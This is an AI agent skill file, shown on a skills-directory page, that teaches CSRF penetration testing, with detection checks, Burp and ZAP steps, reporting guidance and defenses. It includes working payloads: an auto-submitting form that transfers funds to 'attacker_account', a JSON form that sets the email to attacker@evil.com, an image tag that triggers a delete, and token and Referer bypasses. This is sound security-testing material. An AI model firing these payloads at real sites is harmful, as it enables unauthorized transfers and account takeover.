Installs into .claude/skills of the current project.
Sponsors
SSkills DirectorySkills Directory
Know which skills are safe — weekly.
SSkills DirectorySkills Directory
Is that skill safe to install?
Are you the author of Csrf Testing?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/blackfoxxx-csrf-testing)
---
name: csrf-testing
description: "CSRF: token bypass, SameSite gaps, state-changing GETs"
version: 1.0.0
mcps: pentest mcp, autopen
---
# CSRF (Cross-Site Request Forgery) Testing
## Overview
CSRF (Cross-Site Request Forgery) is an attack that abuses a user's logged-in state to perform unauthorized operations. This skill provides methods for detecting, exploiting, and defending against CSRF vulnerabilities.
## How the Vulnerability Works
- The attacker lures the user into visiting a malicious page
- The malicious page automatically sends a request to the target website
- The browser automatically includes the user's authentication information (Cookie, Session)
- The target website mistakes it for a legitimate action by the user
## Testing Methods
### 1. Identifying Sensitive Operations
- Password change
- Email change
- Funds transfer
- Permission change
- Data deletion
- State update
### 2. Detecting the CSRF Token
**Check whether there is Token protection:**
```html
<!-- With Token protection -->
<form method="POST" action="/change-password">
<input type="hidden" name="csrf_token" value="abc123">
<input type="password" name="new_password">
</form>
<!-- Without Token protection - CSRF risk exists -->
<form method="POST" action="/change-email">
<input type="email" name="new_email">
</form>
```
### 3. Verifying Token Validity
**Test whether the Token is predictable:**
- Whether the Token is based on a timestamp
- Whether the Token is based on the user ID
- Whether the Token can be reused
- Whether the Token is shared across multiple requests
### 4. Checking Referer Validation
**Test whether the Referer check can be bypassed:**
```javascript
// Normal request
Referer: https://target.com/change-password
// Bypass tests
Referer: https://target.com.evil.com
Referer: https://evil.com/?target.com
Referer: (empty)
```
## Exploitation Techniques
### Basic CSRF Attack
**Auto-submitting HTML form:**
```html
<form action="https://target.com/api/transfer" method="POST" id="csrf">
<input type="hidden" name="to" value="attacker_account">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf').submit();</script>
```
### JSON CSRF
**Bypassing the Content-Type check:**
```html
<!-- Use an HTML form to submit JSON -->
<form action="https://target.com/api/update" method="POST" enctype="text/plain">
<input name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>
<script>document.forms[0].submit();</script>
```
### GET Request CSRF
**Attacking via a GET request:**
```html
<img src="https://target.com/api/delete?id=123">
```
## Bypass Techniques
### Token Bypass
**If the Token is in a Cookie:**
```javascript
// If the Token exists in both the Cookie and the form,
// you can try submitting only the Token from the Cookie
fetch('https://target.com/api/action', {
method: 'POST',
credentials: 'include',
body: 'action=delete&id=123'
// Does not include the csrf_token parameter, relying on the Cookie
});
```
### SameSite Cookie Bypass
**Leveraging subdomains:**
- If SameSite=Lax, a GET request can still carry the Cookie
- Carry out the attack via a subdomain
### Double-Submit Cookie
**Bypassing Token validation:**
```html
<!-- If the Token is in a Cookie and the validation logic is flawed -->
<form action="https://target.com/api/action" method="POST">
<input type="hidden" name="csrf_token" value="">
<script>
// Read the Token from the Cookie
document.cookie.split(';').forEach(c => {
if(c.trim().startsWith('csrf_token=')) {
document.querySelector('input[name="csrf_token"]').value =
c.split('=')[1];
}
});
</script>
</form>
```
## Tool Usage
### Burp Suite
**Using the CSRF PoC generator:**
1. Intercept the target request
2. Right-click → Engagement tools → Generate CSRF PoC
3. Test the generated PoC
### OWASP ZAP
```bash
# Use ZAP to perform a CSRF scan
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' http://target.com
```
## Verification and Reporting
### Verification Steps
1. Confirm that the target operation has no CSRF Token protection
2. Craft a malicious request and verify it can be executed
3. Assess the impact (data leakage, privilege escalation, financial loss, etc.)
4. Record a complete PoC
5. Enter confirmed vulnerabilities into the platform via the `report_finding` tool (the sole entry point for recording vulnerabilities on this platform), with fields covering location, type, severity, reproduction steps/PoC, and remediation advice
### Reporting Key Points
- Vulnerability location and affected operation
- Attack scenario and scope of impact
- Complete exploitation steps and PoC
- Remediation advice (CSRF Token, SameSite Cookie, Referer validation, etc.)
## Protective Measures
### Recommended Approaches
1. **CSRF Token**
- Each form includes a unique Token
- The Token is stored in the Session
- Validate the Token's validity
2. **SameSite Cookie**
```javascript
Set-Cookie: session=abc123; SameSite=Strict; Secure
```
3. **Double-Submit Cookie**
- The Token exists in both the Cookie and the form
- Verify that the two match
4. **Referer Validation**
- Verify that the Referer is same-origin
- Pay attention to handling an empty Referer
## Notes
- Only perform testing in authorized test environments
- Avoid causing actual impact to user accounts
- Record all test steps
- Consider behavioral differences between browsers